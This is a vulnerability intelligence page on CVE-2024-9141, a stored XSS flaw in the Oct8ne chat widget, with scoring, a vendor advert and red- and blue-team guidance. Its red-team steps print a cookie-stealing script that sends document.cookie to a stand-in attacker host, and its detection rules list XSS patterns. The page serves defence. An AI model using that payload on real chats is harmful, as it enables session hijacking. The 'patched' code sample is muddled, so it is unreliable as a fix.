☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-9141

CVE-2024-9141 Cross-Site Scripting in Oct8ne
📅 PUBLISHED: 2024-09-24 10:50 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9141 is a stored Cross-Site Scripting (XSS) vulnerability in the Oct8ne chat system. An attacker can inject malicious JavaScript into the body of a chat message. When the message is rendered by the chat client, the payload executes in the context of the victim’s browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is unpatched, and no public exploit code is available. The CVSS score is 5.4 (Medium), reflecting the need for user interaction and the limited scope of impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Oct8ne is a proprietary chat solution. No open-source packages (NPM, PyPI, Go, Ruby) are directly associated with this CVE. The risk is limited to organizations that deploy Oct8ne as a third-party service or integrate it into their web applications.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need authentication.
  • User Interaction (UI): Required (R) – The victim must view the malicious chat message.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the lack of authentication.

Deep Dive & Mechanics

The vulnerability resides in the chat message rendering engine of Oct8ne. The system fails to sanitize user-supplied input in the message body. An attacker can intercept the chat traffic (e.g., via a man-in-the-middle attack or by compromising the chat server) and inject a payload like:

<img src=x onerror=alert('XSS')>

When the victim’s browser renders the message, the onerror event fires, executing the JavaScript. The payload can be crafted to steal session cookies, redirect to phishing pages, or perform actions on behalf of the user.

The root cause is the lack of output encoding or input validation in the chat message processing pipeline. The system likely uses innerHTML or similar DOM manipulation without sanitization.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve:

Vulnerable Code (Conceptual):

// Directly inserting user input into DOM
chatMessage.innerHTML = userInput;

Patched Code (Conceptual):

// Sanitize input before insertion
const sanitized = DOMPurify.sanitize(userInput);
chatMessage.textContent = sanitized;

The patched version uses textContent instead of innerHTML or applies a sanitization library like DOMPurify to strip malicious content.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to the Oct8ne chat server or ability to intercept chat traffic.
  • A victim who will view the malicious message.

Steps:

  1. Intercept a chat message (e.g., using Burp Suite or mitmproxy).
  2. Replace the message body with a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Send the modified message to the victim.
  4. When the victim views the message, the script executes, exfiltrating their session cookie.

Lab Setup:

  • Use a local instance of Oct8ne (if available) or a test environment.
  • Set up a simple HTTP server to capture exfiltrated data:
    python3 -m http.server 8080
    
  • Use Burp Suite to intercept and modify chat messages.

Blue Team

Detection:

  • Monitor for unusual outbound connections from chat clients.
  • Inspect chat logs for HTML tags or script content.
  • Use web application firewalls (WAF) to block common XSS payloads.

Prevention:

  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use input validation and output encoding on the server side.
  • Apply a virtual patch or WAF rule to block <script> tags and event handlers.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from chat clients.
  • Logs: Chat messages containing <script>, <img onerror=, or similar patterns.
  • File: No specific file IOCs.
  • Behavior: Unexpected redirects or pop-ups in the chat interface.

Detection Engineering

YARA Rule

rule CVE_2024_9141_Oct8ne_XSS {
    meta:
        description = "Detects potential XSS payloads in Oct8ne chat messages"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-9141"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Oct8ne XSS Payload Detection
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects XSS payloads in Oct8ne chat messages
author: Valters IT
date: 2025-01-01
logsource:
    category: application
    product: oct8ne
detection:
    selection:
        message|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in chat (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9141 Oct8ne XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/chat"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the chat feature if not critical.
  2. Implement a WAF rule to block common XSS patterns.
  3. Apply CSP headers: Content-Security-Policy: default-src 'self'; script-src 'none';

Long-term Fix:

  • Vendor must release a patch that sanitizes chat messages.
  • Until then, consider using a reverse proxy to sanitize all chat traffic.

Workaround:

  • Use a browser extension that blocks script execution in iframes (if Oct8ne uses iframes).

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9141/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.